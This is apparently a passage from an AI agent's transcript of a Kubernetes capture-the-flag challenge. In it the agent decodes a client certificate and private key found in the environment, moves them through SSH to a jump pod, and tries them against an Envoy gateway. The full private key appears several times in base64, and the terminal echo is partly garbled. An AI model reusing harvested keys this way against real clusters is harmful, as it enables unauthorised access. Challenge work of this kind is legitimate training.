c1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' | base64 -d > /tmp/client.key

# Verify
head -1 /tmp/client.crt && head -1 /tmp/client.key
-----BEGIN CERTIFICATE-----
-----BEGIN PRIVATE KEY-----

Good, files decoded correctly locally. Now let me SCP them to the pod and use them.

$ Bash
Transfer cert/key via base64 and curl the gateway
# Use base64 to safely transfer via SSH (avoid TTY mangling)
CERT_B64=$(base64 -w0 /tmp/client.crt)
KEY_B64=$(base64 -w0 /tmp/client.key)

ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << SSHEOF 2>&1 | sed 's/\r//g'
echo '$CERT_B64' | base64 -d > /tmp/c.crt
echo '$KEY_B64' | base64 -d > /tmp/c.key
head -1 /tmp/c.crt
head -1 /tmp/c.key
export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')
echo "GW: \$GWIP"
curl -sk --cert /tmp/c.crt --key /tmp/c.key https://\$GWIP 2>&1
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/c.crt
echo 'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' | base64 -d > /tmp/c.key
head -1 /tmp/c.crt
head -1 /tmp/c.key
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "GW: $GWIP"
cuecho 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/c.crt
echo 'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' | base64 -d > /tmp/c.key
head -1 /tmp/c.crt
head -1 /tmp/c.key
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "GW: $GWIP"
cu[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF00UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR33QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y44ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RhheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9SSbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExxTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZsscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HHMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0ttLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/c.crt
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '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' | base64 --d > /tmp/c.key
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# head -1 /tmp/c.crt
[?2004l-----BEGIN CERTIFICATE-----
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# head -1 /tmp/c.key
[?2004l-----BEGIN PRIVATE KEY-----
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sysstem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grepp '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "GW: $GWIP"
[?2004lGW: 10.111.253.191
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -sk --cert /tmp/c.crt --key /tmp/c.key https:://$GWIP 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
command terminated with exit code 56
Connection to 35.179.133.134 closed.
Thinking

Exit code 56 = connection reset. The cert/key decoded fine but the connection is being rejected. Let me debug with verbose curl and try different approaches.

$ Bash
Debug gateway connection with verbose curl and check HTTP routes
